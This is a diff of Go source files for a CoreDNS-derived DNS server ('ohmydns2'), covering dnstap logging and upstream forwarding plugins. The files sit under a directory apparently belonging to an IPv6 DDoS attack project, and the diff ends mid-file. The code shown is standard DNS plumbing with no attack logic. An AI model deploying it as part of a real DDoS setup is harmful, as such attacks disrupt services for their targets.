func newEncoder(w io.Writer, timeout time.Duration) (*encoder, error) {
|
||||
fs, err := fs.NewEncoder(w, &fs.EncoderOptions{
|
||||
ContentType: []byte("protobuf:dnstap.Dnstap"),
|
||||
Bidirectional: true,
|
||||
Timeout: timeout,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &encoder{fs}, nil
|
||||
}
|
||||
|
||||
func (e *encoder) writeMsg(msg *tap.Dnstap) error {
|
||||
buf, err := proto.Marshal(msg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = e.fs.Write(buf) // n < len(buf) should return an error?
|
||||
return err
|
||||
}
|
||||
|
||||
func (e *encoder) flush() error { return e.fs.Flush() }
|
||||
func (e *encoder) close() error { return e.fs.Close() }
|
||||
143
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/io.go
Normal file
143
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/io.go
Normal file
@@ -0,0 +1,143 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"net"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
)
|
||||
|
||||
// tapper interface is used in testing to mock the Dnstap method.
|
||||
type tapper interface {
|
||||
Dnstap(*tap.Dnstap)
|
||||
}
|
||||
|
||||
// dio implements the Tapper interface.
|
||||
type dio struct {
|
||||
endpoint string
|
||||
proto string
|
||||
enc *encoder
|
||||
queue chan *tap.Dnstap
|
||||
dropped uint32
|
||||
quit chan struct{}
|
||||
flushTimeout time.Duration
|
||||
tcpTimeout time.Duration
|
||||
skipVerify bool
|
||||
}
|
||||
|
||||
// newIO returns a new and initialized pointer to a dio.
|
||||
func newIO(proto, endpoint string) *dio {
|
||||
return &dio{
|
||||
endpoint: endpoint,
|
||||
proto: proto,
|
||||
queue: make(chan *tap.Dnstap, queueSize),
|
||||
quit: make(chan struct{}),
|
||||
flushTimeout: flushTimeout,
|
||||
tcpTimeout: tcpTimeout,
|
||||
skipVerify: skipVerify,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *dio) dial() error {
|
||||
var conn net.Conn
|
||||
var err error
|
||||
|
||||
if d.proto == "tls" {
|
||||
config := &tls.Config{
|
||||
InsecureSkipVerify: d.skipVerify,
|
||||
}
|
||||
dialer := &net.Dialer{
|
||||
Timeout: d.tcpTimeout,
|
||||
}
|
||||
conn, err = tls.DialWithDialer(dialer, "tcp", d.endpoint, config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
conn, err = net.DialTimeout(d.proto, d.endpoint, d.tcpTimeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if tcpConn, ok := conn.(*net.TCPConn); ok {
|
||||
tcpConn.SetWriteBuffer(tcpWriteBufSize)
|
||||
tcpConn.SetNoDelay(false)
|
||||
}
|
||||
|
||||
d.enc, err = newEncoder(conn, d.tcpTimeout)
|
||||
return err
|
||||
}
|
||||
|
||||
// Connect connects to the dnstap endpoint.
|
||||
func (d *dio) connect() error {
|
||||
err := d.dial()
|
||||
go d.serve()
|
||||
return err
|
||||
}
|
||||
|
||||
// Dnstap enqueues the payload for log.
|
||||
func (d *dio) Dnstap(payload *tap.Dnstap) {
|
||||
select {
|
||||
case d.queue <- payload:
|
||||
default:
|
||||
atomic.AddUint32(&d.dropped, 1)
|
||||
}
|
||||
}
|
||||
|
||||
// close waits until the I/O routine is finished to return.
|
||||
func (d *dio) close() { close(d.quit) }
|
||||
|
||||
func (d *dio) write(payload *tap.Dnstap) error {
|
||||
if d.enc == nil {
|
||||
atomic.AddUint32(&d.dropped, 1)
|
||||
return nil
|
||||
}
|
||||
if err := d.enc.writeMsg(payload); err != nil {
|
||||
atomic.AddUint32(&d.dropped, 1)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *dio) serve() {
|
||||
timeout := time.NewTimer(d.flushTimeout)
|
||||
defer timeout.Stop()
|
||||
for {
|
||||
timeout.Reset(d.flushTimeout)
|
||||
select {
|
||||
case <-d.quit:
|
||||
if d.enc == nil {
|
||||
return
|
||||
}
|
||||
d.enc.flush()
|
||||
d.enc.close()
|
||||
return
|
||||
case payload := <-d.queue:
|
||||
if err := d.write(payload); err != nil {
|
||||
d.dial()
|
||||
}
|
||||
case <-timeout.C:
|
||||
if dropped := atomic.SwapUint32(&d.dropped, 0); dropped > 0 {
|
||||
log.Warningf("Dropped dnstap messages: %d", dropped)
|
||||
}
|
||||
if d.enc == nil {
|
||||
d.dial()
|
||||
} else {
|
||||
d.enc.flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
tcpWriteBufSize = 1024 * 1024 // there is no good explanation for why this number has this value.
|
||||
queueSize = 10000 // idem.
|
||||
|
||||
tcpTimeout = 4 * time.Second
|
||||
flushTimeout = 1 * time.Second
|
||||
|
||||
skipVerify = false // by default, every tls connection is verified to be secure
|
||||
)
|
||||
97
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/msg/msg.go
Normal file
97
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/msg/msg.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package msg
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
)
|
||||
|
||||
var (
|
||||
protoUDP = tap.SocketProtocol_UDP
|
||||
protoTCP = tap.SocketProtocol_TCP
|
||||
familyINET = tap.SocketFamily_INET
|
||||
familyINET6 = tap.SocketFamily_INET6
|
||||
)
|
||||
|
||||
// SetQueryAddress adds the query address to the message. This also sets the SocketFamily and SocketProtocol.
|
||||
func SetQueryAddress(t *tap.Message, addr net.Addr) error {
|
||||
t.SocketFamily = &familyINET
|
||||
switch a := addr.(type) {
|
||||
case *net.TCPAddr:
|
||||
t.SocketProtocol = &protoTCP
|
||||
t.QueryAddress = a.IP
|
||||
|
||||
p := uint32(a.Port)
|
||||
t.QueryPort = &p
|
||||
|
||||
if a.IP.To4() == nil {
|
||||
t.SocketFamily = &familyINET6
|
||||
}
|
||||
return nil
|
||||
case *net.UDPAddr:
|
||||
t.SocketProtocol = &protoUDP
|
||||
t.QueryAddress = a.IP
|
||||
|
||||
p := uint32(a.Port)
|
||||
t.QueryPort = &p
|
||||
|
||||
if a.IP.To4() == nil {
|
||||
t.SocketFamily = &familyINET6
|
||||
}
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("unknown address type: %T", a)
|
||||
}
|
||||
}
|
||||
|
||||
// SetResponseAddress the response address to the message. This also sets the SocketFamily and SocketProtocol.
|
||||
func SetResponseAddress(t *tap.Message, addr net.Addr) error {
|
||||
t.SocketFamily = &familyINET
|
||||
switch a := addr.(type) {
|
||||
case *net.TCPAddr:
|
||||
t.SocketProtocol = &protoTCP
|
||||
t.ResponseAddress = a.IP
|
||||
|
||||
p := uint32(a.Port)
|
||||
t.ResponsePort = &p
|
||||
|
||||
if a.IP.To4() == nil {
|
||||
t.SocketFamily = &familyINET6
|
||||
}
|
||||
return nil
|
||||
case *net.UDPAddr:
|
||||
t.SocketProtocol = &protoUDP
|
||||
t.ResponseAddress = a.IP
|
||||
|
||||
p := uint32(a.Port)
|
||||
t.ResponsePort = &p
|
||||
|
||||
if a.IP.To4() == nil {
|
||||
t.SocketFamily = &familyINET6
|
||||
}
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("unknown address type: %T", a)
|
||||
}
|
||||
}
|
||||
|
||||
// SetQueryTime sets the time of the query in t.
|
||||
func SetQueryTime(t *tap.Message, ti time.Time) {
|
||||
qts := uint64(ti.Unix())
|
||||
qtn := uint32(ti.Nanosecond())
|
||||
t.QueryTimeSec = &qts
|
||||
t.QueryTimeNsec = &qtn
|
||||
}
|
||||
|
||||
// SetResponseTime sets the time of the response in t.
|
||||
func SetResponseTime(t *tap.Message, ti time.Time) {
|
||||
rts := uint64(ti.Unix())
|
||||
rtn := uint32(ti.Nanosecond())
|
||||
t.ResponseTimeSec = &rts
|
||||
t.ResponseTimeNsec = &rtn
|
||||
}
|
||||
|
||||
// SetType sets the type in t.
|
||||
func SetType(t *tap.Message, typ tap.Message_Type) { t.Type = &typ }
|
||||
131
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/setup.go
Normal file
131
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/setup.go
Normal file
@@ -0,0 +1,131 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
var log = olog.NewWithPlugin("dnstap")
|
||||
|
||||
func init() { plugin.Register("dnstap", setup) }
|
||||
|
||||
func parseConfig(c *caddy.Controller) ([]*Dnstap, error) {
|
||||
dnstaps := []*Dnstap{}
|
||||
|
||||
for c.Next() { // directive name
|
||||
d := Dnstap{}
|
||||
endpoint := ""
|
||||
|
||||
args := c.RemainingArgs()
|
||||
|
||||
if len(args) == 0 {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
|
||||
endpoint = args[0]
|
||||
|
||||
var dio *dio
|
||||
if strings.HasPrefix(endpoint, "tls://") {
|
||||
// remote network endpoint
|
||||
endpointURL, err := url.Parse(endpoint)
|
||||
if err != nil {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
dio = newIO("tls", endpointURL.Host)
|
||||
d = Dnstap{io: dio}
|
||||
} else if strings.HasPrefix(endpoint, "tcp://") {
|
||||
// remote network endpoint
|
||||
endpointURL, err := url.Parse(endpoint)
|
||||
if err != nil {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
dio = newIO("tcp", endpointURL.Host)
|
||||
d = Dnstap{io: dio}
|
||||
} else {
|
||||
endpoint = strings.TrimPrefix(endpoint, "unix://")
|
||||
dio = newIO("unix", endpoint)
|
||||
d = Dnstap{io: dio}
|
||||
}
|
||||
|
||||
d.IncludeRawMessage = len(args) == 2 && args[1] == "full"
|
||||
|
||||
hostname, _ := os.Hostname()
|
||||
d.Identity = []byte(hostname)
|
||||
d.Version = []byte(caddy.AppName + "-" + caddy.AppVersion)
|
||||
|
||||
for c.NextBlock() {
|
||||
switch c.Val() {
|
||||
case "skipverify":
|
||||
{
|
||||
dio.skipVerify = true
|
||||
}
|
||||
case "identity":
|
||||
{
|
||||
if !c.NextArg() {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
d.Identity = []byte(c.Val())
|
||||
}
|
||||
case "version":
|
||||
{
|
||||
if !c.NextArg() {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
d.Version = []byte(c.Val())
|
||||
}
|
||||
}
|
||||
}
|
||||
dnstaps = append(dnstaps, &d)
|
||||
}
|
||||
return dnstaps, nil
|
||||
}
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
dnstaps, err := parseConfig(c)
|
||||
if err != nil {
|
||||
return plugin.Error("dnstap", err)
|
||||
}
|
||||
|
||||
for i := range dnstaps {
|
||||
dnstap := dnstaps[i]
|
||||
c.OnStartup(func() error {
|
||||
if err := dnstap.io.(*dio).connect(); err != nil {
|
||||
log.Errorf("No connection to dnstap endpoint: %s", err)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
c.OnRestart(func() error {
|
||||
dnstap.io.(*dio).close()
|
||||
return nil
|
||||
})
|
||||
|
||||
c.OnFinalShutdown(func() error {
|
||||
dnstap.io.(*dio).close()
|
||||
return nil
|
||||
})
|
||||
|
||||
if i == len(dnstaps)-1 {
|
||||
// last dnstap plugin in block: point next to next plugin
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
dnstap.Next = next
|
||||
return dnstap
|
||||
})
|
||||
} else {
|
||||
// not last dnstap plugin in block: point next to next dnstap
|
||||
nextDnstap := dnstaps[i+1]
|
||||
dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler {
|
||||
dnstap.Next = nextDnstap
|
||||
return dnstap
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
39
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/writer.go
Normal file
39
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/writer.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin/dnstap/msg"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// ResponseWriter captures the client response and logs the query to dnstap.
|
||||
type ResponseWriter struct {
|
||||
queryTime time.Time
|
||||
query *dns.Msg
|
||||
dns.ResponseWriter
|
||||
Dnstap
|
||||
}
|
||||
|
||||
// WriteMsg writes back the response to the client and THEN works on logging the request and response to dnstap.
|
||||
func (w *ResponseWriter) WriteMsg(resp *dns.Msg) error {
|
||||
err := w.ResponseWriter.WriteMsg(resp)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
r := new(tap.Message)
|
||||
msg.SetQueryTime(r, w.queryTime)
|
||||
msg.SetResponseTime(r, time.Now())
|
||||
msg.SetQueryAddress(r, w.RemoteAddr())
|
||||
|
||||
if w.IncludeRawMessage {
|
||||
buf, _ := resp.Pack()
|
||||
r.ResponseMessage = buf
|
||||
}
|
||||
|
||||
msg.SetType(r, tap.Message_CLIENT_RESPONSE)
|
||||
w.TapMessage(r)
|
||||
return nil
|
||||
}
|
||||
64
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/dnstap.go
Normal file
64
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/dnstap.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"net"
|
||||
"ohmydns2/plugin/dnstap/msg"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// toDnstap will send the forward and received message to the dnstap plugin.
|
||||
func toDnstap(f *Forward, host string, state request.Request, opts proxy.Options, reply *dns.Msg, start time.Time) {
|
||||
h, p, _ := net.SplitHostPort(host) // this is preparsed and can't err here
|
||||
port, _ := strconv.ParseUint(p, 10, 32) // same here
|
||||
ip := net.ParseIP(h)
|
||||
|
||||
var ta net.Addr = &net.UDPAddr{IP: ip, Port: int(port)}
|
||||
t := state.Proto()
|
||||
switch {
|
||||
case opts.ForceTCP:
|
||||
t = "tcp"
|
||||
case opts.PreferUDP:
|
||||
t = "udp"
|
||||
}
|
||||
|
||||
if t == "tcp" {
|
||||
ta = &net.TCPAddr{IP: ip, Port: int(port)}
|
||||
}
|
||||
|
||||
for _, t := range f.tapPlugins {
|
||||
// Query
|
||||
q := new(tap.Message)
|
||||
msg.SetQueryTime(q, start)
|
||||
// Forwarder dnstap messages are from the perspective of the downstream server
|
||||
// (upstream is the forward server)
|
||||
msg.SetQueryAddress(q, state.W.RemoteAddr())
|
||||
msg.SetResponseAddress(q, ta)
|
||||
if t.IncludeRawMessage {
|
||||
buf, _ := state.Req.Pack()
|
||||
q.QueryMessage = buf
|
||||
}
|
||||
msg.SetType(q, tap.Message_FORWARDER_QUERY)
|
||||
t.TapMessage(q)
|
||||
|
||||
// Response
|
||||
if reply != nil {
|
||||
r := new(tap.Message)
|
||||
if t.IncludeRawMessage {
|
||||
buf, _ := reply.Pack()
|
||||
r.ResponseMessage = buf
|
||||
}
|
||||
msg.SetQueryTime(r, start)
|
||||
msg.SetQueryAddress(r, state.W.RemoteAddr())
|
||||
msg.SetResponseAddress(r, ta)
|
||||
msg.SetResponseTime(r, time.Now())
|
||||
msg.SetType(r, tap.Message_FORWARDER_RESPONSE)
|
||||
t.TapMessage(r)
|
||||
}
|
||||
}
|
||||
}
|
||||
250
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/forward.go
Normal file
250
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/forward.go
Normal file
@@ -0,0 +1,250 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
ot "github.com/opentracing/opentracing-go"
|
||||
otext "github.com/opentracing/opentracing-go/ext"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/debug"
|
||||
"ohmydns2/plugin/dnstap"
|
||||
"ohmydns2/plugin/metadata"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
var defaultTimeout = 5 * time.Second
|
||||
|
||||
// Forward represents a plugin instance that can proxy requests to another (DNS) server. It has a list
|
||||
// of proxies each representing one upstream proxy.
|
||||
type Forward struct {
|
||||
concurrent int64 // atomic counters need to be first in struct for proper alignment
|
||||
|
||||
proxies []*proxy.Proxy
|
||||
p Policy
|
||||
hcInterval time.Duration
|
||||
|
||||
from string
|
||||
ignored []string
|
||||
|
||||
tlsConfig *tls.Config
|
||||
tlsServerName string
|
||||
maxfails uint32
|
||||
expire time.Duration
|
||||
maxConcurrent int64
|
||||
|
||||
opts proxy.Options // also here for testing
|
||||
|
||||
// ErrLimitExceeded indicates that a query was rejected because the number of concurrent queries has exceeded
|
||||
// the maximum allowed (maxConcurrent)
|
||||
ErrLimitExceeded error
|
||||
|
||||
tapPlugins []*dnstap.Dnstap // when dnstap plugins are loaded, we use to this to send messages out.
|
||||
|
||||
Next plugin.Handler
|
||||
}
|
||||
|
||||
// New returns a new Forward.
|
||||
func New() *Forward {
|
||||
f := &Forward{maxfails: 2, tlsConfig: new(tls.Config), expire: defaultExpire, p: new(random), from: ".", hcInterval: hcInterval, opts: proxy.Options{ForceTCP: false, PreferUDP: false, HCRecursionDesired: true, HCDomain: "."}}
|
||||
return f
|
||||
}
|
||||
|
||||
// SetProxy appends p to the proxy list and starts healthchecking.
|
||||
func (f *Forward) SetProxy(p *proxy.Proxy) {
|
||||
f.proxies = append(f.proxies, p)
|
||||
p.Start(f.hcInterval)
|
||||
}
|
||||
|
||||
// SetTapPlugin appends one or more dnstap plugins to the tap plugin list.
|
||||
func (f *Forward) SetTapPlugin(tapPlugin *dnstap.Dnstap) {
|
||||
f.tapPlugins = append(f.tapPlugins, tapPlugin)
|
||||
if nextPlugin, ok := tapPlugin.Next.(*dnstap.Dnstap); ok {
|
||||
f.SetTapPlugin(nextPlugin)
|
||||
}
|
||||
}
|
||||
|
||||
// Len returns the number of configured proxies.
|
||||
func (f *Forward) Len() int { return len(f.proxies) }
|
||||
|
||||
// Name implements plugin.Handler.
|
||||
func (f *Forward) Name() string { return "forward" }
|
||||
|
||||
// ServeDNS implements plugin.Handler.
|
||||
func (f *Forward) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
if !f.match(state) {
|
||||
return plugin.NextOrFailure(f.Name(), f.Next, ctx, w, r)
|
||||
}
|
||||
|
||||
if f.maxConcurrent > 0 {
|
||||
count := atomic.AddInt64(&(f.concurrent), 1)
|
||||
defer atomic.AddInt64(&(f.concurrent), -1)
|
||||
if count > f.maxConcurrent {
|
||||
MaxConcurrentRejectCount.Add(1)
|
||||
return dns.RcodeRefused, f.ErrLimitExceeded
|
||||
}
|
||||
}
|
||||
|
||||
fails := 0
|
||||
var span, child ot.Span
|
||||
var upstreamErr error
|
||||
span = ot.SpanFromContext(ctx)
|
||||
i := 0
|
||||
list := f.List()
|
||||
deadline := time.Now().Add(defaultTimeout)
|
||||
start := time.Now()
|
||||
for time.Now().Before(deadline) {
|
||||
if i >= len(list) {
|
||||
// reached the end of list, reset to begin
|
||||
i = 0
|
||||
fails = 0
|
||||
}
|
||||
|
||||
pProxy := list[i]
|
||||
i++
|
||||
if pProxy.Down(f.maxfails) {
|
||||
fails++
|
||||
if fails < len(f.proxies) {
|
||||
continue
|
||||
}
|
||||
// All upstream proxies are dead, assume healthcheck is completely broken and randomly
|
||||
// select an upstream to connect to.
|
||||
r := new(random)
|
||||
pProxy = r.List(f.proxies)[0]
|
||||
|
||||
HealthcheckBrokenCount.Add(1)
|
||||
}
|
||||
|
||||
if span != nil {
|
||||
child = span.Tracer().StartSpan("connect", ot.ChildOf(span.Context()))
|
||||
otext.PeerAddress.Set(child, pProxy.Addr())
|
||||
ctx = ot.ContextWithSpan(ctx, child)
|
||||
}
|
||||
|
||||
metadata.SetValueFunc(ctx, "forward/upstream", func() string {
|
||||
return pProxy.Addr()
|
||||
})
|
||||
|
||||
var (
|
||||
ret *dns.Msg
|
||||
err error
|
||||
)
|
||||
opts := f.opts
|
||||
|
||||
for {
|
||||
ret, err = pProxy.Connect(ctx, state, opts)
|
||||
if err == ErrCachedClosed { // Remote side closed conn, can only happen with TCP.
|
||||
continue
|
||||
}
|
||||
// Retry with TCP if truncated and prefer_udp configured.
|
||||
if ret != nil && ret.Truncated && !opts.ForceTCP && opts.PreferUDP {
|
||||
opts.ForceTCP = true
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
if child != nil {
|
||||
child.Finish()
|
||||
}
|
||||
|
||||
if len(f.tapPlugins) != 0 {
|
||||
toDnstap(f, pProxy.Addr(), state, opts, ret, start)
|
||||
}
|
||||
|
||||
upstreamErr = err
|
||||
|
||||
if err != nil {
|
||||
// Kick off health check to see if *our* upstream is broken.
|
||||
if f.maxfails != 0 {
|
||||
pProxy.Healthcheck()
|
||||
}
|
||||
|
||||
if fails < len(f.proxies) {
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
// Check if the reply is correct; if not return FormErr.
|
||||
if !state.Match(ret) {
|
||||
debug.Hexdumpf(ret, "Wrong reply for id: %d, %s %d", ret.Id, state.QName(), state.QType())
|
||||
|
||||
formerr := new(dns.Msg)
|
||||
formerr.SetRcode(state.Req, dns.RcodeFormatError)
|
||||
w.WriteMsg(formerr)
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
w.WriteMsg(ret)
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
if upstreamErr != nil {
|
||||
return dns.RcodeServerFailure, upstreamErr
|
||||
}
|
||||
|
||||
return dns.RcodeServerFailure, ErrNoHealthy
|
||||
}
|
||||
|
||||
func (f *Forward) match(state request.Request) bool {
|
||||
if !plugin.Name(f.from).Matches(state.Name()) || !f.isAllowedDomain(state.Name()) {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (f *Forward) isAllowedDomain(name string) bool {
|
||||
if dns.Name(name) == dns.Name(f.from) {
|
||||
return true
|
||||
}
|
||||
|
||||
for _, ignore := range f.ignored {
|
||||
if plugin.Name(ignore).Matches(name) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// ForceTCP returns if TCP is forced to be used even when the request comes in over UDP.
|
||||
func (f *Forward) ForceTCP() bool { return f.opts.ForceTCP }
|
||||
|
||||
// PreferUDP returns if UDP is preferred to be used even when the request comes in over TCP.
|
||||
func (f *Forward) PreferUDP() bool { return f.opts.PreferUDP }
|
||||
|
||||
// List returns a set of proxies to be used for this client depending on the policy in f.
|
||||
func (f *Forward) List() []*proxy.Proxy { return f.p.List(f.proxies) }
|
||||
|
||||
var (
|
||||
// ErrNoHealthy means no healthy proxies left.
|
||||
ErrNoHealthy = errors.New("no healthy proxies")
|
||||
// ErrNoForward means no forwarder defined.
|
||||
ErrNoForward = errors.New("no forwarder defined")
|
||||
// ErrCachedClosed means cached connection was closed by peer.
|
||||
ErrCachedClosed = errors.New("cached connection was closed by peer")
|
||||
)
|
||||
|
||||
// Options holds various Options that can be set.
|
||||
type Options struct {
|
||||
// ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag
|
||||
ForceTCP bool
|
||||
// PreferUDP use UDP protocol for upstream DNS request.
|
||||
PreferUDP bool
|
||||
// HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests
|
||||
HCRecursionDesired bool
|
||||
// HCDomain sets domain for Proxy healthcheck requests
|
||||
HCDomain string
|
||||
}
|
||||
|
||||
const (
|
||||
defaultExpire = 10 * time.Second
|
||||
hcInterval = 500 * time.Millisecond
|
||||
)
|
||||
24
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/metric.go
Normal file
24
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/metric.go
Normal file
@@ -0,0 +1,24 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin"
|
||||
|
||||
"github.com/prometheus/client_golang/prometheus"
|
||||
"github.com/prometheus/client_golang/prometheus/promauto"
|
||||
)
|
||||
|
||||
// Variables declared for monitoring.
|
||||
var (
|
||||
HealthcheckBrokenCount = promauto.NewCounter(prometheus.CounterOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "forward",
|
||||
Name: "healthcheck_broken_total",
|
||||
Help: "Counter of the number of complete failures of the healthchecks.",
|
||||
})
|
||||
MaxConcurrentRejectCount = promauto.NewCounter(prometheus.CounterOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "forward",
|
||||
Name: "max_concurrent_rejects_total",
|
||||
Help: "Counter of the number of queries rejected because the concurrent queries were at maximum.",
|
||||
})
|
||||
)
|
||||
68
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/policy.go
Normal file
68
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/policy.go
Normal file
@@ -0,0 +1,68 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"ohmydns2/plugin/pkg/rand"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Policy defines a policy we use for selecting upstreams.
|
||||
type Policy interface {
|
||||
List([]*proxy.Proxy) []*proxy.Proxy
|
||||
String() string
|
||||
}
|
||||
|
||||
// random is a policy that implements random upstream selection.
|
||||
type random struct{}
|
||||
|
||||
func (r *random) String() string { return "random" }
|
||||
|
||||
func (r *random) List(p []*proxy.Proxy) []*proxy.Proxy {
|
||||
switch len(p) {
|
||||
case 1:
|
||||
return p
|
||||
case 2:
|
||||
if rn.Int()%2 == 0 {
|
||||
return []*proxy.Proxy{p[1], p[0]} // swap
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
perms := rn.Perm(len(p))
|
||||
rnd := make([]*proxy.Proxy, len(p))
|
||||
|
||||
for i, p1 := range perms {
|
||||
rnd[i] = p[p1]
|
||||
}
|
||||
return rnd
|
||||
}
|
||||
|
||||
// roundRobin is a policy that selects hosts based on round robin ordering.
|
||||
type roundRobin struct {
|
||||
robin uint32
|
||||
}
|
||||
|
||||
func (r *roundRobin) String() string { return "round_robin" }
|
||||
|
||||
func (r *roundRobin) List(p []*proxy.Proxy) []*proxy.Proxy {
|
||||
poolLen := uint32(len(p))
|
||||
i := atomic.AddUint32(&r.robin, 1) % poolLen
|
||||
|
||||
robin := []*proxy.Proxy{p[i]}
|
||||
robin = append(robin, p[:i]...)
|
||||
robin = append(robin, p[i+1:]...)
|
||||
|
||||
return robin
|
||||
}
|
||||
|
||||
// sequential is a policy that selects hosts based on sequential ordering.
|
||||
type sequential struct{}
|
||||
|
||||
func (r *sequential) String() string { return "sequential" }
|
||||
|
||||
func (r *sequential) List(p []*proxy.Proxy) []*proxy.Proxy {
|
||||
return p
|
||||
}
|
||||
|
||||
var rn = rand.New(time.Now().UnixNano())
|
||||
291
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/setup.go
Normal file
291
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/setup.go
Normal file
@@ -0,0 +1,291 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
"fmt"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/dnstap"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/parse"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
pkgtls "ohmydns2/plugin/pkg/tls"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
func init() { plugin.Register("forward", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
fs, err := parseForward(c)
|
||||
if err != nil {
|
||||
return plugin.Error("forward", err)
|
||||
}
|
||||
for i := range fs {
|
||||
f := fs[i]
|
||||
if f.Len() > max {
|
||||
return plugin.Error("forward", fmt.Errorf("more than %d TOs configured: %d", max, f.Len()))
|
||||
}
|
||||
|
||||
if i == len(fs)-1 {
|
||||
// last forward: point next to next plugin
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
f.Next = next
|
||||
return f
|
||||
})
|
||||
} else {
|
||||
// middle forward: point next to next forward
|
||||
nextForward := fs[i+1]
|
||||
dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler {
|
||||
f.Next = nextForward
|
||||
return f
|
||||
})
|
||||
}
|
||||
|
